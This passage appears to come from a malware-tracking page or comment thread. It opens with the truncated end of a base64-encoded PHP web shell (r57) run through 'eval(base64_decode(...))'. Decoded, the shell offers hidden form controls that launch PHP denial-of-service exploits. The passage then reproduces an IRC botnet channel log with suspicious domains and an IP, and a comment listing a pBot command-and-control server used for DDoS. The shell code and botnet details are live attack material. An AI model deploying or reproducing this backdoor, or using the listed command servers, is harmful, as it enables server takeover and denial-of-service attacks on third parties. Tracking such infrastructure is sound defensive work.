JykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE4Jyku aW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnTWVtb3J5IEFsbG9jYXRpb24gQm9GIGluIFsgbXNnX3Jl Y2VpdmUoKSBdIGZ1bmN0aW9uIChQSFAgPDQuNC41LDUuMi4xKScpLiRmZSk7DQplY2hvIHNyKDEw LCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxOScpLmluKCdzdWJtaXQnLCdzdWJtaXQn LDAsJ09mZiBCeSBPbmUgaW4gWyBwaHBfc3RyZWFtX2ZpbHRlcl9jcmVhdGUoKSBdIGZ1bmN0aW9u IChQSFAgNTw1LjIuMSknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2Nt ZCcsMCwnZG9zMjAnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdSZWZlcmVuY2UgQ291bnRlciBP dmVyZmxvdyBpbiBbIHVuc2VyaWFsaXplKCkgXSBmdW5jdGlvbiAoUEhQIDw0LjQuNCknKS4kZmUp Ow0KZWNobyAkdGUuIjwvdGQ+PC90cj48L2Rpdj48L3RhYmxlPiI7DQplY2hvICc8L3RhYmxlPicu JHRhYmxlX3VwMy4iPC9kaXY+PC9kaXY+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjxmb250IGZh Y2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5vLS09WyA8Zm9udCBjb2xvcj1yZWQ+aXJj LnBsYW5ldHdvcmsud2ViLmlkICNhdXRvcnVuIF09LS1vPC9iPjwvZm9udD48L2Rpdj48L3RkPjwv dHI+PC90YWJsZT4iLiRmOw0KZWNobyAnPC9ib2R5PjwvaHRtbD4nOw=="; eval(base64_decode($r57)); ?>
Local users: Current Local Users: 6506 Max: 9993
Global users: Current Global Users: 6506 Max: 24737
Now talking in #resident.evil
Topic On: [ 13 #resident.evil 12] [ 13 Lost and Damned http://ukladdoma.ru/ http://blogger.com.ax.lt/ 46.4.232.108 ]
Topic By: [ [deadman] ]
hosting infos:
http://whois.domaintools.com/178.79.171.44
Anonymous - September 22, 2012 at 3:59 pm
Another pBot:
sUx.IRCsystem.net:1331 #DdOs
http://pastebin.com/2vYp2WjK